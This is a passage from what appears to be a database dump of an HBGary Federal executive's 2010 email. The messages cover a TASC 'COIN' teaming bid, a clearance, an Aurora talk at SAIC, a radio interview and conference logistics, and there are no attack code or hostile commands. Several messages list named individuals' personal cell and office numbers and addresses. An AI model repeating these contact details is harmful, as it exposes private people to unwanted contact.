wrote:\r\n\r\n> Hey Aaron,\r\n>\r\n> We are still pulling the team together on COIN, we have a follow up\r\n> discussion with SAIC tomorrow. I got a random report that the\r\n> competition was cancelled, did you hear anything about this?\r\n>\r\n>\r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n>\r\n>\r\n>\r\n> TASC INTERNAL DISTRIBUTION ONLY\r\n> This e-mail, including attachments, is intended for the exclusive\r\n> use of\r\n> the person or entity to whom it is addressed and may contain\r\n> confidential or privileged information. If the reader of this e-mail\r\n> is\r\n> not the intended recipient or his or her authorized agent, the\r\n> reader is\r\n> hereby notified that any dissemination, distribution or copying of\r\n> this\r\n> e-mail is prohibited. If you think that you have received this e-\r\n> mail in\r\n> error, please advise the sender by reply e-mail of the error and then\r\n> delete this e-mail immediately.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, March 29, 2010 2:01 PM\r\n> To: Lovegrove, John (TASC)\r\n> Subject: Checking in\r\n>\r\n> Hey John,\r\n>\r\n> Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n> started thinking about all the other stuff going on.  What is the\r\n> status of your COIN effort and when would you like to set up anyone to\r\n> talk about NSA?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',8986,'aaron_hbgary_com/8986.html'),(4838,'2010-04-01','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297003112.M149609P3547Q4838.eml','aaron@hbgary.com','Michael Chertoff Joins Board of Directors at BAE','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon\r\n Executive&nbsp;By Jim\r\n GarrettsonApril 4,\r\n 2010Michael Chertoff Joins Board of Directors at\r\n BAEMichael\r\n Chertoff has joined the\r\n Board of Directors at BAE Systems, Inc. .&nbsp; As a member of the Board,\r\n Secretary Chertoff will provide oversight and strategic counsel, further ensuring\r\n that BAE Systems, Inc. is well positioned to meet current and future customer\r\n requirements in the defense and security markets.\r\n Click Here to Read More\r\n PCI a Non-Issue for\r\n Contractors\r\n In the debate surrounding PCI, it\'s worth noting that of 22\r\n contractors audited by GAO, 18 of them already had written policies to prevent\r\n personal conflicts of interest within their workforce.&nbsp; Click Here to Read\r\n MoreGen. Harry Raduege on Legal Hurdles in\r\n CyberspaceIn the fight\r\n against cyber crime, while exciting technological advances and major data heists\r\n often steal the spotlight, most of the effective actions taken against cyber\r\n criminals have taken place in court. Click Here to Read\r\n More\r\nContracting Blasts into Future with Laser\r\n WeaponryThe U.S. Navy is ready to ride a wave of new\r\n technology into the future of combat.According to a report by New\r\n Scientist, the U.S. Navy has given the greenlight to designs for a shipboard laser\r\n \"that it hopes will focus a 100-kilowatt beam through the ocean mist.\"\r\n Click Here to Read\r\n MoreCan the\r\n Government Force Contractors to Unionize?Executive order 13502 from February 2009 garnered\r\n relatively little attention when it was issued.&nbsp;&nbsp; It reads, \"in order to\r\n promote the efficient administration and completion of Federal construction\r\n projects,\" executive agencies are allowed to require contractors working on\r\n federal construction projects to implement \"Project Labor Agreements.\"\r\n Click Here to Read\r\n MoreLeukemia Ball a Hit &#8211; $3 Million Goal Reached\r\n The National Capital Area Chapter of The Leukemia & Lymphoma Society\r\n (LLS) raised $3 million at the 23rd annual Leukemia Ball presented by Baker Tilly.\r\n Proceeds benefit LL\'s mission to cure blood cancer and improve the quality of life\r\n of patients and their families. Click Here to Read\r\n MoreWood\r\n Parker : \"There\'s excitement throughout\r\n TASC\"Carlos Echalar of ManTech: \"It\'s about\r\n integration\"Joel Brunson of TANDBERG on How Video \r\nConferencing is Changing BusinessSid Fuchs Named COO at ATSC&nbsp;&nbsp;&nbsp;Sid Fuchs Named COO at\r\n ATSCHarris Gets More Orders for \r\nFalcon III Radio SystemsSAIC Claims SSC Pacific Support\r\n DealNorthrop Wins Army Training\r\n DealA2 Research Claims Lab Services Deal from\r\n NASADell Perot\'s Lee Carrick Talks ActioNet\r\n Contract WinSAIC\'s Anthony Hess on Walter Reed Support\r\n DealGen. Robert Magnus Joins Board at\r\n CNAMichael Chertoff Joins Board of Directors at\r\n BAERaytheon Names David Jensen VP,\r\n Communications for IISArray\'s Sumeet Shrivastava Expanding State\r\n Department Presence with New HiresGSA\'s Martha Johnson Devises Wiki to Help\r\n VendorsICF Reveals \'Integrated Energy\r\n Outlook\'Deloitte Honored for Women\'s Advancement\r\n InitiativesSecureInfo\'s Christopher Fountain Testifies\r\n on Federal Information SecurityCACI\'s Paul Cofoni Named to \'Federal\r\n 100\'Click Here for More\r\n GovConwireCyber Gangs Mimic Legitimate Corporations\r\n with Roles, DutiesCyber Espionage is the Real\r\n ProblemU.S. Criticizes Australia\'s Attempts to\r\n Censor CyberspaceAttacks Exploit Growing Use of Social\r\n MediaCyber Terrorism Debate\r\n Continues\"It doesn\'t matter how you define cyberwar,\"\r\n says Amit YoranClick Here for More from The New New\r\n Internet Wood Parker of TASC\r\n Discusses his Navy CareerRetired General Robert\r\n Harding Withdraws TSA NominationHow Networking Will Save You\r\n from Eating AloneManTech\'s Carlos Echalar on\r\n Components of a Great HR\r\n DepartmentDr. Jim Lewis Speaks at the\r\n Potomac Officers ClubCNSI Co-Founder and CSO,\r\n Adnan Ahmed, Talks GoalsClick Here for More from\r\n GovCon Executive New Biometrics Agency to Support National\r\n Security StrategyFCC to Hold Public\r\n WorkshopGSA\'s Martha Johnson on Green IT,\r\n TeleworkFDA Warns Against Drinking Raw\r\n MilkObama Announces Nominees to Fill Key\r\n Positions After Months of Senate ObstructionDCoE Moves into More Social\r\n MedialMullen Confident in New START\r\n TreatyThe Department of Education Responds to\r\n Healthcare Bill2010 National Small Business\r\n WeekGSA Launches BetterBuy\r\n Pilot(s)Click Here for More from\r\n ExecutiveGovRobert Carey Gives Tips to Other\r\n AgenciesWood Parker of TASC on\r\n Divestiture\r\n Wood\r\n Parker : \"There\'s excitement throughout\r\n TASC\"It\r\n has been a few months since the divestiture of TASC from Northrop Grumman. We had\r\n the opportunity to sit down with Wood Parker, the President and CEO of TASC, to\r\n learn about some of the highlights so far and what some of the priorities of TASC\r\n are going forward. We also learned how TASC will attract new hires and some of the\r\n biggest challenges they see in the coming months. Watch the\r\n video to hear Parker elaborate on the impact of Northrop Grumman\'s sale of\r\n TASC to meet OCI federal regulations. And learn how Parker\'s 20 year experience in\r\n the Navy has impacted his career here.\r\n Click Here to Read\r\n MoreCarlos Echalar of ManTech: \"It\'s about \r\nintegration\"Carlos\r\n Echalar is the Executive Vice President of Human Resources at ManTech\r\n International Corporation. He is responsible for creating and carrying out\r\n ManTech\'s human capital strategy. He leads ManTech\'s \"people first\" focus on\r\n retention, recruiting, redeployment and talent management. In this interview,\r\n Echalar talks about what he believes makes a successful HR department and a\r\n successful HR executive. Click Here to Read More Joel Brunson of TANDBERG on How Video \r\nConferencing is Changing BusinessExecutiveBiz recently had the \r\nopportunity to sit down with Joel Brunson of TANDBERG to discuss the \r\nrole of video conferencing technologies in business. He also discussed \r\nthe public sector sales approach at TANDBERG.&nbsp; Click Here to Read \r\nMoreSid Fuchs Named COO at\r\n ATSC&nbsp;&nbsp;ATSC (NYSE AMEX: ATSC) has \r\nappointed Sidney E. Fuchs to the position of chief operating officer, \r\neffective April 5, 2010.&nbsp; Fuchs previously served as president and CEO \r\nof OAO Technology Solutions (\"OAOT\") which was sold in January of this \r\nyear to Platinum Equity, a private equity firm with over $27 billion in \r\naggregate portfolio company revenue.Click Here to Read\r\n More&nbsp;Save the\r\n Date!&nbsp;What: The Small and Emerging\r\n Contractors Advisory Forum (SECAF) Awards Gala.When: Thursday, April 29,\r\n 2010Where:\r\n McLean Hilton, Tyson\'s Corner7920 Jones Branch\r\n DriveMcLean,\r\n Virginia&nbsp; 22102Tel:\r\n 1-703-847-5000&nbsp;&nbsp; Fax: 1-703-761-5100Why: The SECAF Awards Gala honors small and emerging\r\n government contractors and the players in the ecosystem that rely on small\r\n business.Click Here to\r\n Register.\r\n A Letter\r\n from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',2643,'aaron_hbgary_com/2643.html'),(4839,'2010-04-01','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297003112.M399318P3547Q4839.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\nRE: Checking in\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nIs there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:38 AM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: Checking in\r\n\r\nI haven\'t I will check.\r\n\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; Hey Aaron,\r\n&gt;\r\n&gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; competition was cancelled, did you hear anything about this?\r\n&gt;\r\n&gt;\r\n&gt; John Lovegrove\r\n&gt; Director\r\n&gt; Office: (703) 449-3812\r\n&gt; Cell: (571) 294-5154\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; use of\r\n&gt; the person or entity to whom it is addressed and may contain\r\n&gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; is\r\n&gt; not the intended recipient or his or her authorized agent, the\r\n&gt; reader is\r\n&gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; this\r\n&gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; mail in\r\n&gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; delete this e-mail immediately.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Subject: Checking in\r\n&gt;\r\n&gt; Hey John,\r\n&gt;\r\n&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; started thinking about all the other stuff going on.&nbsp; What is the\r\n&gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; talk about NSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',11387,'aaron_hbgary_com/11387.html'),(4840,'2010-04-01','\"Kitchen, Torri E (TASC)\" <Torri.Kitchen@TASC.COM>','/aaron@hbgary.com/new/1297003113.M426206P3547Q4840.eml','aaron@hbgary.com','COIN Capture','\r\n\r\n\r\n\r\n\r\nCOIN Capture \r\n\r\n\r\n\r\n\r\nGood afternoon Aaron, \r\n\r\nAttached is a copy of the TASC standard Teaming Agreement, Non-Disclosure Agreement, and Exhibit A in support of the COIN capture. Please review the TA and NDA. Should you require any changes to these documents, please use the MS word track changes feature to highlight the changes and provide a justification for each change. If the agreement are acceptable, please return signed copies to my attention. \r\n\r\nShould you have any questions, do not hesitate to contact me. \r\n\r\nRegards, \r\n\r\n &lt;&lt;HBGary_Teaming_Agreement.doc&gt;&gt; \r\n\r\nTorri Kitchen \r\n\r\nSubcontract Administrator\r\nTASC, Inc.\r\n4803 Stonecroft Blvd.\r\nChantilly, VA 20151\r\nPH: 703-449-3726\r\n\r\nFax: 978-684-7632\r\n\r\n\r\n\r\n\r\n\r\nPROPRIETARY INFORMATION\r\n\r\nThis e-mail, including attachments, may include confidential and/or proprietary information, to TASC, Inc. and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',877,'aaron_hbgary_com/877.html'),(4841,'2010-04-01','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297003113.M670644P3547Q4841.eml','aaron@hbgary.com','Ready for a real office?','\r\n\r\n\r\n\r\nUntitled Document\r\n\r\n \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n        \r\n          \r\n            \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                                          Having trouble viewing this email? See it online.\r\nPlease add email@regusworldwide.com to your address book.\r\n\r\n                    \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n          \r\n          \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          1000\r\n                            locations\r\n                          &nbsp;\r\n                          450\r\n                            cities\r\n                          &nbsp;\r\n                          75\r\n                            countries\r\n                          &nbsp;\r\n                        \r\n                      \r\n                    \r\n                    \r\n                    \r\n                      \r\n                        \r\n                          &nbsp;\r\n                          1-888-OFFICES\r\n                              (633-4237)\r\n                            regus.com\r\n                          \r\n                          &nbsp;\r\n                        \r\n                      \r\n                    \r\n                  \r\n                \r\n                \r\n              \r\n            \r\n          \r\n          \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n            Regus Group plc and its subsidiaries (&ldquo;Regus Group&rdquo;) respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may change your requirements by clicking update profile. You can find out more by reading our privacy policy.\r\n                \r\nRegus plc (soci&eacute;t&eacute; anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street, St Helier, Jersey, JE4 8PX, Channel Islands Jersey Registered Number: 101523. \r\n\r\n            \r\n            \r\n          \r\n          \r\n            \r\n            &nbsp;\r\n            \r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',14634,'aaron_hbgary_com/14634.html'),(4842,'2010-04-01','\"Timothy Ronan\" <tronan@palantirtech.com>','/aaron@hbgary.com/new/1297003115.M617832P3547Q4842.eml','','Message to all Palantir Conference Partners','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease make sure that your staff who will be attending the\r\nconference next week on 7 April have registered at the following site:&nbsp; http://palantirtech.eventbrite.com/\r\n\r\n&nbsp;\r\n\r\nEveryone should have received a Partner Booth Guide with\r\nsetup details several weeks ago, but I have attached it again for\r\nreference.&nbsp; Please take the time to read through this as there are highly\r\nimportant details included.\r\n\r\n&nbsp;\r\n\r\nI have also attached the conference agenda for your\r\nreference.\r\n\r\n&nbsp;\r\n\r\nDon&#8217;t hesitate to contact me with any questions.&nbsp;\r\nLooking forward to your participation in the conference next week.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nTim\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\n\r\nTim Ronan\r\n\r\nPalantir\r\nTechnologies | Forward Deployed Engineer\r\n\r\ntronan@palantirtech.com |\r\n571.225.6179\r\n\r\n_________________________________________________________\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16775,'aaron_hbgary_com/16775.html'),(4843,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003115.M873127P3547Q4843.eml','\"Ted Vera\" <ted@hbgary.com>','Hiring Aaron','Are we close?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',4498,'aaron_hbgary_com/4498.html'),(4844,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003116.M287683P3547Q4845.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>,\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>,','Re: Aurora Talk at SAIC','Let me know if you need something else.BIOAaron Barr is the CEO of HBGary Federal, a services company focused on delivering specialized malware analysis, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp; Previously, Aaron served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachelors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.AbstractPrior to Operation Aurora most people had never heard of the term APT, now you can\'t get away from it.&nbsp; Operation Aurora while maybe not a bell-weather event, certainly raised the consciousness of cybersecurity and the threats that do exist.&nbsp; But awareness is not always a good thing, as many still have a very superficial and naive perspective on what the advanced persistent threat is, what it is not, and what needs to be done to combat it.&nbsp; This discussion will discuss the attributes of the Aurora event and the state of cybersecurity today within the Federal government.AaronOn Mar 30, 2010, at 9:36 AM, Sheldon, Scott W. wrote:Aaron,Awesome! I\'ll lock it in.Please send me an abstract and short bio so I can get the invitationsout.Scott-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, March 29, 2010 7:41 PMTo: Sheldon, Scott W.Cc: bob@hbgary.com; Estell, Timothy W.Subject: Re: Aurora Talk at SAICYep works for me. From my iPhoneOn Mar 29, 2010, at 5:53 PM, \"Sheldon, Scott W.\"&lt;SCOTT.W.SHELDON@saic.comwrote:Aaron,27 April at 1600 works great.If you agree, I\'ll need a short bio and a short presentationabstract topost with the invitation for attendees.Scott-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, March 29, 2010 5:44 PMTo: Sheldon, Scott W.Cc: bob@hbgary.com; Estell, Timothy W.Subject: Re: Aurora Talk at SAICHow about the 27th does that work?AaronOn Mar 26, 2010, at 5:03 PM, Sheldon, Scott W. wrote:Aaron,I just spoke with our Conference Center coordinator and meeting spaceisan issue at 1600 on 20 Apr.We can easily do 1600 on 27 Apr if that works for you.We can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They needtheextra 30 minutes to reconfigure the room from a previously scheduledmeeting.Along with your bio, I\'ll also need a paragraph or two abstract ofyourpresentation to post as part of the announcement.Scott-----Original Message-----From: Estell, Timothy W.Sent: Friday, March 26, 2010 4:56 PMTo: aaron@hbgary.comCc: bob@hbgary.com; Sheldon, Scott W.Subject: Aurora Talk at SAICAaron,Looks like Dino or EndGames got cold feet. They say they have toomuchgoing on to commit Dino to this event.So the stage is yours and you can keep us captivated with the HBGaryresearch into Aurora.We\'ll plan on Tuesday, April 20th at 4 PM.Can you provide a one paragraph bio to include in the meetingannouncement?Thanks.Tim.Tim Estell -- estellt@saic.com443-367-7558 (Office) 443-562-2039 (Cell)Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5618,'aaron_hbgary_com/5618.html'),(4845,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003116.M469821P3547Q4846.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Checking in','Talked to some folks on the team and they have not heard this, so if it is a fact, the management is keeping it to themselves.  Still digging.\r\n\r\nAaron\r\n\r\nOn Apr 1, 2010, at 9:37 AM, Lovegrove, John (TASC) wrote:\r\n\r\n> Hey Aaron,\r\n> \r\n> We are still pulling the team together on COIN, we have a follow up\r\n> discussion with SAIC tomorrow. I got a random report that the\r\n> competition was cancelled, did you hear anything about this?\r\n> \r\n> \r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n> \r\n> \r\n> \r\n> TASC INTERNAL DISTRIBUTION ONLY\r\n> This e-mail, including attachments, is intended for the exclusive use of\r\n> the person or entity to whom it is addressed and may contain\r\n> confidential or privileged information. If the reader of this e-mail is\r\n> not the intended recipient or his or her authorized agent, the reader is\r\n> hereby notified that any dissemination, distribution or copying of this\r\n> e-mail is prohibited. If you think that you have received this e-mail in\r\n> error, please advise the sender by reply e-mail of the error and then\r\n> delete this e-mail immediately.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 29, 2010 2:01 PM\r\n> To: Lovegrove, John (TASC)\r\n> Subject: Checking in\r\n> \r\n> Hey John,\r\n> \r\n> Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n> started thinking about all the other stuff going on.  What is the\r\n> status of your COIN effort and when would you like to set up anyone to\r\n> talk about NSA?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13725,'aaron_hbgary_com/13725.html'),(4846,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003116.M668088P3547Q4847.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Confirm Media Interview for Wedn. April 7th @11:30 AM','Wow figures that is the day. &nbsp;If that is the only day that works I can try and work something out. &nbsp;The Palantir GovCon is that day (which slipped my mind when you gave me the 3 days before). &nbsp;What time. &nbsp;If another day doesn\'t work I can try to slip out for a bit.AaronOn Apr 1, 2010, at 9:39 AM, Karen Burke wrote:\r\n\r\n&nbsp;Hi Aaron, Tom Temin of Federal News Radio just got back to me re your meeting with him next week -- please see his mail below. Does this work for you? The opportunity here is to provide an overivew of HBGary Federal and discuss HBGary\'s technology, its work in the federal government and current security challenges. I\'ll pull together a briefing sheet for you. At this point, he would like to use this interview for his blog, and possibly schedule a radio interview for a later date.\r\n&nbsp;\r\nHere is his mail with the details:&nbsp;\r\nLet\'s shoot for the 7th, the reason being I will be doing a location broadcast in Bethesda on the 6th. There is a Cafe Deluxe near the station on Wisconsin Ave. If he does not mind coming there, I\'ll give him the cook\'s tour of the glass-enclosed nerve center and then we can walk to the restaurant. We don\'t have the greatest visitor-friendly building, so when he arrives, have him call my call phone, 240-463-2009 and I\'ll welcome him in. Our studios are on the first floor of 3400 Idaho and there is generally street parking out front. WTOP is on the third floor and I can take him up there to see one of the last big-city radio newsrooms. \r\n\r\nTom\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',582,'aaron_hbgary_com/582.html'),(4847,'2010-04-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003116.M76944P3547Q4844.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hiring Aaron','Not yet, unfortunately I think we are going to have to wait until mid/\r\nlate April for a May start date.\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 7:58 PM, Aaron Barr  wrote:\r\n\r\n> Are we close?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',15583,'aaron_hbgary_com/15583.html'),(4848,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003116.M869091P3547Q4848.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Checking in','Sure that would be good. &nbsp;Probably would take a while but sure.I am still confused by the whole thing. &nbsp;Ted and I went through many clearances cross-overs from DoD to ISA and it normally took about 2 weeks. &nbsp;So what we were trying to do was get him cleared on a DoD program and then ask to submit him for a cross-over.What do you think?AaronOn Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n\r\nHi Aaron,\r\n\r\nIs there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:38 AM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: Checking in\r\n\r\nI haven\'t I will check.\r\n\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, \"Lovegrove, John (TASC)\" &lt;John.Lovegrove@tasc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; Hey Aaron,\r\n&gt;\r\n&gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; competition was cancelled, did you hear anything about this?\r\n&gt;\r\n&gt;\r\n&gt; John Lovegrove\r\n&gt; Director\r\n&gt; Office: (703) 449-3812\r\n&gt; Cell: (571) 294-5154\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; use of\r\n&gt; the person or entity to whom it is addressed and may contain\r\n&gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; is\r\n&gt; not the intended recipient or his or her authorized agent, the\r\n&gt; reader is\r\n&gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; this\r\n&gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; mail in\r\n&gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; delete this e-mail immediately.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Subject: Checking in\r\n&gt;\r\n&gt; Hey John,\r\n&gt;\r\n&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; started thinking about all the other stuff going on.&nbsp; What is the\r\n&gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; talk about NSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2853,'aaron_hbgary_com/2853.html'),(4849,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003117.M113986P3547Q4849.eml','\"Bob Slapnik\" <bob@hbgary.com>','Palantir GovCon','Bob,\r\n\r\nJust to put it down on paper.\r\n\r\nThe event is on the 7th.  The booth is going to be delivered to the Ritz-Carlton for the event.  Penny thought it was a good idea that we were there.  It would be great if Rich or Phil could participate part of the day.  I plan on being there the whole day but have never sat the HBGary booth before so would be nice to go through it with someone.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4510,'aaron_hbgary_com/4510.html'),(4850,'2010-04-02','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003117.M621944P3547Q4850.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Confirm Media Interview for Wedn. April 7th @11:30 AM','I\'ll check with Tom -- are you nitely free the other two days if he can switch? Best, K--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, April 1, 2010, 7:25 PM\r\nWow figures that is the day. &nbsp;If that is the only day that works I can try and work something out. &nbsp;The Palantir GovCon is that day (which slipped my mind when you gave me the 3 days before). &nbsp;What time. &nbsp;If another day doesn\'t work I can try to slip out for a bit.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 9:39 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Hi Aaron, Tom Temin of Federal News Radio just got back to me re your meeting with him next week -- please see his mail below. Does this 